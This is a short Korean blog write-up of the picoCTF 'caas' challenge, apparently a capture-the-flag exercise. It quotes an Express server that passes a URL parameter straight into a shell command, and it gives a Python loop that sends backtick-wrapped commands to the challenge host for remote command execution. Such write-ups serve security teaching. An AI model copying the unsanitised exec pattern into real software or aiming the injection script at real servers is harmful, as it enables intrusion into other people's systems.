pico CTF

[picoCTF] caas

skyepodium 2023. 4. 28. 18:07

1. 개요

command injection

 

2. 분석

주어진 코드를 보면, exec 함수로 차일드 프로세스를 실행시키는데 여기에 시스템 명령어가 삽입되면, 수행 결과를 반환합니다.

 

다만, exec 함수에 시스템 명령어를 보낼때는 `ls` 와 같이 백틱으로 감싸줘야합니다.

const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, { timeout: 5000 }, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

 

3. 코드

import requests


def get_result_by_message(message: str) -> str:
    print('message', message)
    base_url = "https://caas.mars.picoctf.net"
    return requests.get(f"{base_url}/cowsay/`{message}`").text


while True:
    cmd = input()
    result = get_result_by_message(cmd)
    print(result)